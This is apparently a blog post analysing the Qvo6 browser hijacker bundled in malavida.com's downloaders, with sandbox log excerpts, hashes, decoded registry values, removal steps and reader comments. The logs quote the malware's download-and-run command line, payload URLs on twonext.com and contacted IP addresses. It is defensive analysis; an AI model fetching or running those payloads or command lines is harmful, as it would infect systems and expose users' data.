malavida.com is a spanish website offering freeware for downloading. The problem with it is that like many other websites offering software for downloading, it enforces you to download first their “downloader”, the old trick used to install additional and potentially undesirable software in your computer.
If you check these days and try to download a freeware from their website, an executable of 159 KB with the name of the original application is downloaded first instead of the desired application, for example:
skype-windows-downloader.exe
cpu-z-windows-downloader.exe
nero-windows-downloader.exe
ares-windows-downloader.exe
and so on.
Let’s run the downloader in a sandbox and see what is the additional software installed. The screens tell the story:
…
…
…
All the downloads from malavida.com contains this offer, to make Qvo6 the default Search Provider and browser Home Page. If you check that box “Make Qvo6 my default search provider…”, besides the intended application in this case Skype which by the way can be downloaded from free from its official website, the Qvo6 application will be downloaded and executed also, attempting to change the default Search Provider and brower Home Page. Why all this discussion about Qvo6? Because it has a very bad reputation, it is perceived like a malware by a lot of users, it’s enough to do a search on Google for it. For example, from Anvisoft forum:
What is Qvo6 (Qvo6.com – redirect virus)?
Qvo6.com is a vicious browser hijack infection which is used by Cyber criminals to promote their domain and also to steal sensitive user information from victim PC. The Qvo6.com malware secretly attaches itself to browser like Firefox, chrome etc. Once sneaks in, it will change default configuration settings. Usually, it changes homepage and replaces the default Google search provider with Qvo6.com search engine. From now on, each time the user on infected computer tries to use Google, he will be redirected to http://Qvo6.com instead. And when you use the Qvo6.com site, it will bring inaccurate information loaded with spam and third-party ads. That is the basic reason this domain is working for. I mean Qvo6.com redirect virus is created to attract more and more online users so the creators of this virus could generate income from online traffic. Anyhow, this malware should be terminated immediately as it is a serious threat to your Online identity. The Qvo6.com search virus uses cookies and other unfair methods to steal your personal details.
Let’s try to do a summary analysis of it, these are excerpts from BSA report:
Anti-Malware Analyzer routine: File Monitor detection
Anti-Malware Analyzer routine: OllyDbg detection
Anti-Malware Analyzer routine: Process Monitor detection
Anti-Malware Analyzer routine: Registry Monitor detection
…Checked for debuggers
Checked if user is admin
Code injection in process: c:\sandbox\cyberstorm\defaultbox\user\current\appdata\local\temp\mlv_ar_qvo6.exe
Code injection in process: c:\sandbox\cyberstorm\defaultbox\user\current\appdata\roaming\eintaller\17157fdc45b74df7b1a38910a0dc3733\egdpsvc.exe
Code injection in process: c:\sandbox\cyberstorm\defaultbox\user\current\appdata\roaming\eintaller\17157fdc45b74df7b1a38910a0dc3733\exq.exe
Code injection in process: c:\windows\system32\cmd.exe
Code injection in process: c:\windows\system32\taskkill.exe
Created a mutex named: …eXB…..
Created a mutex named: Local\!IETld!Mutex
Created a service named: eSafe Service
Created process: C:\Users\CYBERS~1\AppData\Local\Temp\mlv_ar_qvo6.exe,”C:\Users\CYBERS~1\AppData\Local\Temp\mlv_ar_qvo6.exe” -h -s -third=http://www.twonext.com/download/res/eGdpSvc.exe,newgdp,,0 -hp=7 -addr=qvo6 -ptid=mlv,C:\Users\CYBERS~1\AppData\Local\Temp
Created process: C:\Users\Cyberstorm\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eXQ.exe,”C:\Users\Cyberstorm\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eXQ.exe” -h -s -hp=7 -addr=qvo6 -ptid=mlv -third=eGdpSvc.exe,newgdp,,0,C:\Users\Cyberstorm\AppData\Local\Temp
Created process: C:\Windows\System32\cmd.exe,”C:\Windows\System32\cmd.exe” /C taskkill /F /IM firefox.exe,C:\Users\Cyberstorm\AppData\Local\Temp
Created process: C:\Windows\system32\taskkill.exe,taskkill /F /IM firefox.exe,C:\Users\Cyberstorm\AppData\Local\Temp
Defined file type created: C:\ProgramData\eSafe\eGdpSvc.exe
Defined file type created: C:\Users\Cyberstorm\AppData\Local\Temp\mlv_ar_qvo6.exe
Defined file type created: C:\Users\Cyberstorm\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\Config.ini
Defined file type created: C:\Users\Cyberstorm\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eGdpSvc.exe
Defined file type created: C:\Users\Cyberstorm\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eXQ.exe
Defined file type created: C:\Users\Public\Desktop\SkypeSetup.exe
Defined file type modified: C:\Users\Cyberstorm\AppData\Roaming\Mozilla\Firefox\Profiles\gljyms3s.default\prefs.js
Defined registry AutoStart location created or modified: machine\software\microsoft\Internet Explorer\Main\Default_Page_URL = 68007400740070003A002F002F007700770077002E00710076006F0036002E0063006F006D002F003F00750074006D005F0073006F0075007200630065003D0062002600750074006D005F006D00650064006900
75006D003D006D006C0076002600660072006F006D003D006D006C00760026007500690064003D00330
0390035003000340039003900380033005F0031003000350032003500310035005F0036004300380032003
8003800440046002600740073003D0031003300360035003300330032003100310037000000
Defined registry AutoStart location created or modified: machine\software\microsoft\Internet Explorer\Main\Start Page = 68007400740070003A002F002F007700770077002E00710076006F0036002E0063006F006D002F003F00750074006D005F0073006F0075007200630065003D0062002600750074006D005F006D006500640069007
5006D003D006D006C0076002600660072006F006D003D006D006C00760026007500690064003D0033003
90035003000340039003900380033005F0031003000350032003500310035005F0036004300380032003800
3800440046002600740073003D0031003300360035003300330032003100310037000000
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\eSafeSvc\DisplayName = 65005300610066006500200053006500720076006900630065000000
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\eSafeSvc\ErrorControl = 00000001
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\eSafeSvc\ImagePath = 43003A005C00500072006F006700720061006D0044006100740061005C00650053006100660065005C0065004700640070005300760063002E006500780065000000
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\eSafeSvc\Start = 00000002
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\eSafeSvc\Type = 00000010
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\EventLog\Application\eSafeSvc\EventMessageFile = 43003A005C00500072006F006700720061006D0044006100740061005C00650053
Defined registry AutoStart location created or modified: machine\System\CurrentControlSet\Services\EventLog\Application\eSafeSvc\TypesSupported = 00000007
Defined registry AutoStart location created or modified: user\current\software\Microsoft\Internet Explorer\Main\Default_Page_URL = 68007400740070003A002F002F007700770077002E00710076006F0036002E0063006F006D002F003F00750074006D005F0073006F0075007200630065003D0062002600750074006D005F006D006500640069007500
6D003D006D006C0076002600660072006F006D003D006D006C00760026007500690064003D00330039003
5003000340039003900380033005F0031003000350032003500310035005F003600430038003200380038004
40046002600740073003D0031003300360035003300330032003100310037000000
Defined registry AutoStart location created or modified: user\current\software\Microsoft\Internet Explorer\Main\Start Page = 68007400740070003A002F002F007700770077002E00710076006F0036002E0063006F006D002F003F00750074006D005F0073006F0075007200630065003D0062002600750074006D005F006D0065006400690075006
D003D006D006C0076002600660072006F006D003D006D006C00760026007500690064003D0033003900350
03000340039003900380033005F0031003000350032003500310035005F003600430038003200380038004400
46002600740073003D0031003300360035003300330032003100310037000000
Detected direct disk write attempt
Detected process privilege elevation
Enumerated running processes
Got computer name
Got system default language ID
Got user name information
Hid from debuggers
IE settings change: machine\software\microsoft\internet explorer\searchscopes\{33bb0a4e-99af-4226-bdf6-49120163de86}\displayname = 710076006f0036000000
IE settings change: machine\software\microsoft\internet explorer\searchscopes\{33bb0a4e-99af-4226-bdf6-49120163de86}\url = 68007400740070003a002f002f007300650061007200630068002e00710076006f0036002e0063006f006d002f007700650062002f003f00750074006d005f0073006f0075007200630065003d0062002600750074006d005f006d00650
06400690075006d003d006d006c0076002600660072006f006d003d006d006c00760026007500690064003d00330
0390035003000340039003900380033005f0031003000350032003500310035005f0036004300380032003800380
0440046002600740073003d0030000000
IE settings change: machine\software\microsoft\internet explorer\searchscopes\defaultscope = 7b00330033004200420030004100340045002d0039003900410046002d0034003200320036002d0042004400460036002d003400390031003200300031003600330044004500380036007d000000
IE settings change: user\current\software\microsoft\internet explorer\searchscopes\{33bb0a4e-99af-4226-bdf6-49120163de86}\displayname = 710076006f0036000000
IE settings change: user\current\software\microsoft\internet explorer\searchscopes\{33bb0a4e-99af-4226-bdf6-49120163de86}\url = 68007400740070003a002f002f007300650061007200630068002e00710076006f0036002e0063006f006d002f007700650062002f003f00750074006d005f0073006f0075007200630065003d0062002600750074006d005f006d00650064
00690075006d003d006d006c0076002600660072006f006d003d006d006c00760026007500690064003d0033003900
35003000340039003900380033005f0031003000350032003500310035005f00360043003800320038003800440046
002600740073003d0030000000
IE settings change: user\current\software\microsoft\internet explorer\searchscopes\defaultscope = 7b00330033004200420030004100340045002d0039003900410046002d0034003200320036002d0042004400460036002d003400390031003200300031003600330044004500380036007d000000
Internet connection: Connects to “174.36.200.167” on port 80
Internet connection: Connects to “91.192.108.161” on port 80
Internet connection: Connects to “91.192.111.222” on port 80
Internet connection: Connects to “www.twonext.com” on port 80
Listed all entry names in a remote access phone book
Opened a service named: eSafeSvc
…
If you find this analysis too long and boring, I resume here the main facts:
* Qvo6 contains powerful anti-debugging routines, in an attempt to thwart its analysis, it’s hiding from debuggers;
* Qvo6 downloads and execute three different programs, these are the full path of them:
– C:\Users\current_user\AppData\Local\Temp\mlv_ar_qvo6.exe MD5: cb0107fde27b05772f79977d05defa6e
this executable further download the files from below:
– C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\Config.ini
– C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eGdpSvc.exe
MD5: a048327067d7bab53402b0cdc5a11754
downloaded from: http://www.twonext.com/download/res/eGdpSvc.exe
– C:\Users\All\eSafe\eGdpSvc.exe
– C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eXQ.exe
MD5: a64d692fea427714241ad2afe0256cec
downloaded from: http://www.twonext.com/download/res/eXQ.exe
Interesting enough this one is detected as Adware.Plugin.52 by DrWeb, Trojan.Win32.ELEX.AMN (A) by Emsisoft and a variant of Win32/ELEX.D by NOD32 at virustotal.com.
* Qvo6 add this new file: C:\Program Files\Mozilla Firefox\searchplugins\qvo6.xml
* Qvo6 creates a new Windows service named eSafeSvc and starts it. An autostart entry is added into registry, assuring that it will be running the next computer boot.
* Qvo6 change the corresponding registry values for Start page and Default_Page_URL that’s Home Page:
HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\Main\Start Page = 68007400740070003A002F002F007700770077002E00710076006F0036
002E0063006F006D002F003F00750074006D005F0073006F007500720063
0065003D0062002600750074006D005F006D0065006400690075006D00
3D006D006C0076002600660072006F006D003D006D006C00760026007500
690064003D003300390035003000340039003900380033005F0031003000
350032003500310035005F00360043003800320038003800440046002600
740073003D0031003300360035003300330032003100310037000000
The value is encoded in ASCII HEX, decoding it results this URL:
http://www.qvo6.com/?utm_source=b&utm_medium=mlv&from=mlv&uid=395049983_1052515_6C8288DF&ts=1365332117
The same URL value is added in the next registry key:
HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\Main\Default_Page_URL
* Qvo6 configures a new Search Provider adding in registry a new GUID:
HKEY_LOCAL_MACHINE\software\microsoft\Internet Explorer\SearchScopes\DefaultScope = 7B00330033004200420030004100340045002D0039003900410046002D0034003200320036002D00420044004600
36002D003400390031003200300031003600330044004500380036007D000000
which is decoded in:
HKEY_LOCAL_MACHINE\software\microsoft\Internet Explorer\SearchScopes\DefaultScope = {33BB0A4E-99AF-4226-BDF6-49120163DE86}
and more:
HKEY_CURRENT_USER\software\microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}\DisplayName =qvo6
HKEY_CURRENT_USER\software\microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}\URL=http://search.qvo6.com/web/?utm_source=b&utm_medium=mlv&from=mlv&uid=395049983_1052515_6C8288DF&ts=0
It’s obvious that Qvo6 application has a malware behaviour, it downloads and execute additional software in background without user knowledge, software which is serving undesirable advertisements and is posing a high risk for the user privacy. The main scope of creating it is to drive traffic to qvo.com website, a parody search engine which is serving to the users malformed search results crowded with spam and advertisements. All the user sensitive information are risking to be stolen and used for statistics or other really malicious purposes. in conclusion if you agree to change the Home Page and Search Provider to Qvo6.com, the whole online experience will be severely deteriored. Therefore, you must get rid of Qvo6 package as soon as possible
This summary analysis from above already gives us some hints for what we have to do to remove the Qvo6 malware, these are the steps that must be taken in this order:
* eSafeSvc Windows service must be stopped and disabled;
* The mlv_ar_qvo6.exe process if it exists, must be killed using Windows Task Manager;
* The files mentioned above must be deleted, they are(for Windows 7, for another Windows versions the paths may be different):
-C:\Program Files\Mozilla Firefox\searchplugins\qvo6.xml
-C:\Users\current_user\AppData\Local\Temp\mlv_ar_qvo6.exe
-C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\Config.ini
-C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eGdpSvc.exe
-C:\Users\All\eSafe\eGdpSvc.exe
-C:\Users\current_user\AppData\Roaming\eIntaller\17157FDC45B74df7B1A38910A0DC3733\eXQ.exe
* The Home Page and the default Search Provider must be changed to the default values. If you don’t want to deal with the registry, you can do that from Control Panel>Internet Options, there you can find the settings for the Home Page and Search options.
That’s all, if you have problems disinfecting the Qvo6 malware please post in comments.
Keep safe !
it’s still here 🙁
it was so helpful to me. Thank
qvo6 is still there …. 🙁
thanks a lot for this article! I was unable to find all the files and registry entries installed but with that article I’ve finally managed to remove qvo6 completely from my pc.
download adware program it really helped me out and also deleted iminent and other crappy toolbars ._.
1 – Download the program “AdwCleaner” from ***.bleepingcomputer.com/download/adwcleaner
2 – Execute AdwCleaner and click Search button
3 – At the end of the search, when it pops up a text in notepad… just close it.
4 – Click the Delete button.
5 – Autorize the program to restart your computer.
6 – After restarting, there will pop up a new log in notepad, and that’s all 🙂 no more “bug”
7 – Looking at the log, you’ll see where the “bug” was installed on your computer.
That’s all 🙂 Hope this will help you, just like it helped me.
Bye Bye,
PAVC
its still there.
i also had this virus i succeeded in getting red of it FOREVER by:
1: disable its plugins in internet explorer – opera- firefox
2: if you rt click on your (internet explorer – opera- firefox) short cut —> properities : remove any link to qvo6 in “target” box then click ok
3: if you are advanced user , open registry (i use registry workshop) and search for qvo6 and delete any referrence to it
MOST IMPORTANT ISSUE IS No 2
When i sent it to anubis file scanner to analyse it found that it create a folder named eSafe @
“C:\Users\All Users\eSafe” that contain encrypted log file seem to be data of keylogging me !!!
please delete this whole folder
scanning by anubis results:
http://anubis.iseclab.org/?action=result&task_id=1913cbb3ff9ff19c4d9e09332442d918e&format=html
scan by virustotal (17 / 46)
https://www.virustotal.com/en/file/f5a809d066d21365dff7d62434ee17a2b9ef43475c0e086ad76d226ef0f892a4/analysis/1377287227/